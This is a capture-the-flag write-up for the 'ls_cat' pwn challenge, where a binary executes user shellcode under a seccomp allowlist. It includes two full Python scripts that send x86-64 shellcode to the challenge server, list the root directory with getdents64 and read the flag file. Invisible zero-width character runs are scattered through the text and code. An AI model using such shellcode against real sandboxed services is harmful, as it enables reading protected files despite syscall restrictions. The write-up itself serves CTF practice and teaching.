← Back to Writeups
CUSTOMMediumpwn

pwn4 ls_cat

XESXOR9/2/20264 min read
#pwn#custom#medium#directory_enumeration#getdents64_listing#open_read_write_primitive#seccomp_allowlist_abuse#shellcoding#linux

pwn4 ls_cat

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: directory_enumeration, getdents64_listing, open_read_write_primitive, seccomp_allowlist_abuse, shellcoding

Summary

Task: x86-64 PIE binary reads shellcode and jumps to it, but a seccomp allowlist restricts syscalls to getdents64/open/read/write/close/exit_group (no execve). Solution: shellcode open("/")+getdents64 to discover the unknown flag filename (/s3cr3t_f1l3_w1th_fl0g), then open+read+write it; assembled locally with keystone-engine since host is arm64 macOS.

pwn4 ls_cat — pwn_spbctf

Description

(не)Просто. Прочитай. /(не)flag.

English: "(not)Simple. Read. /(not)flag." — the flag is a file located in / whose name is NOT literally flag. We must discover its real name and read it.

  • Category: Pwn, tier pwn4 ("shellcoding"), author Mikhail Kolesov (@crazylazyowl).
  • Binary: ls_cat.elf, x86-64 PIE, no stack canary.
  • Remote: nc 109.233.56.90 11665 (single connection, alarm(5) — must be fast).

Analysis

task_init sets alarm(5) (so one quick connection per attempt) and setvbuf on stdin/stdout. main (@0x11c5): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. memset(buf[rbp-0x410], 0, 0x400) — clears a 0x400-byte stack buffer.

  2. Builds a seccomp allowlist: seccomp_init(SCMP_ACT_KILL), then seccomp_rule_add(ctx, SCMP_ACT_ALLOW, NR, 0) for only these syscalls, then seccomp_load:

    NRsyscall
    0xd9 (217)getdents64
    0x00read
    0x01write
    0x02open
    0x03close
    0xe7 (231)exit_group

    Everything else (notably execve, openat, stat, mmap) is killed.

  3. printf(prompt), read(0, buf, 0x400), then call buf — our up to 0x400 bytes of shellcode (any bytes, plain read) execute directly. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key insight: the allowlist getdents64 + open + read + write is exactly an "ls + cat" primitive. No execve means no shell — but we don't need one. We can list / to discover the flag's filename, then read that file. PIE is irrelevant: shellcode is position-independent.

Implementation note (host quirk)

The solving host is arm64 macOS, so pwntools asm() fails (no amd64 binutils as). Assemble x86-64 shellcode locally with keystone-engine (Ks(KS_ARCH_X86, KS_MODE_64)).

Solution

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 1 — ls: list /

open("/", O_RDONLY) → getdents64(fd, buf, 0x4000) → write(1, buf, ret). open("/", O_RDONLY) returns a perfectly usable directory fd for getdents64. Dump the raw buffer and read filenames by eye (or parse linux_dirent64).

Listing of /:

bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run
sbin srv sys tmp usr var .dockerenv  s3cr3t_f1l3_w1th_fl0g  task

The flag file (regular file, d_type=8) is /s3cr3t_f1l3_w1th_fl0g — the "/(не)flag" hint was literal: a file in /, just not named flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

linux_dirent64 layout for parsing getdents64 output: struct { u64 d_ino; u64 d_off; u16 d_reclen; u8 d_type; char d_name[]; } — d_name is at offset 19, walk records by d_reclen.

Step 2 — cat: read the flag

open("/s3cr3t_f1l3_w1th_fl0g", O_RDONLY) → read(fd, buf, 0x200) → write(1, buf, n) → exit_group. Returns the 40-byte flag.

ls shellcode (exp_ls.py)

python
#!/usr/bin/env python3
from pwn import *
from keystone import Ks, KS_ARCH_X86, KS_MODE_64
import struct

HOST, PORT = '109.233.56.90', 11665
ks = Ks(KS_ARCH_X86, KS_MODE_64)
def assemble(src): return bytes(ks.asm(src)[0])
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# open("/", O_RDONLY); getdents64(fd, buf, 0x4000); write(1, buf, ret); exit_group
sc = '''
    xor rax, rax
    push rax
    mov byte ptr [rsp], 0x2f   /* "/" */
    mov rdi, rsp
    xor rsi, rsi               /* O_RDONLY */
    xor rdx, rdx
    mov eax, 2                 /* open */
    syscall
    mov rdi, rax               /* dir fd */
    sub rsp, 0x4000
    mov rsi, rsp
    mov rdx, 0x4000
    mov eax, 217               /* getdents64 */
    syscall
    mov rdx, rax
    mov edi, 1
    mov rsi, rsp
    mov eax, 1                 /* write */
    syscall
    xor edi, edi
    mov eax, 231               /* exit_group */
    syscall
'''
io = remote(HOST, PORT)
io.recv(timeout=2)
io.send(assemble(sc))
data = io.recvall(timeout=6)
print(hexdump(data))
# parse linux_dirent64 names
off = 0
while off + 19 <= len(data):
    d_ino, d_off, d_reclen = struct.unpack_from('<QQH', data, off)
    if d_reclen == 0: break
    name = data[off+19:off+d_reclen].split(b'\x00')[0]
    print(repr(name), "type=", data[off+18])
    off += d_reclen
io.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

cat shellcode (exp_ls_cat.py)

python
#!/usr/bin/env python3
from pwn import *
from keystone import Ks, KS_ARCH_X86, KS_MODE_64

HOST, PORT = '109.233.56.90', 11665
ks = Ks(KS_ARCH_X86, KS_MODE_64)
def assemble(src): return bytes(ks.asm(src)[0])

# Build "/s3cr3t_f1l3_w1th_fl0g\0" on the stack via reversed 8-byte pushes.
path = b"/s3cr3t_f1l3_w1th_fl0g\x00"
while len(path) % 8 != 0:
    path += b"\x00"
chunks = [path[i:i+8] for i in range(0, len(path), 8)]

push_asm = "xor rax, rax\npush rax\n"   # null terminator after end
for c in reversed(chunks):
    push_asm += "mov rax, 0x%x\npush rax\n" % u64(c)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

sc = push_asm + '''
    mov rdi, rsp        /* path */
    xor rsi, rsi        /* O_RDONLY */
    xor rdx, rdx
    mov eax, 2          /* open */
    syscall
    mov rdi, rax        /* fd */
    sub rsp, 0x1000
    mov rsi, rsp
    mov rdx, 0x1000
    xor eax, eax        /* read */
    syscall
    mov rdx, rax
    mov edi, 1
    mov rsi, rsp
    mov eax, 1          /* write */
    syscall
    xor edi, edi
    mov eax, 231        /* exit_group */
    syscall
'''
io = remote(HOST, PORT)
io.recv(timeout=2)
io.send(assemble(sc))
print(io.recvall(timeout=6).decode(errors='replace'))
io.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Running exp_ls_cat.py prints the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍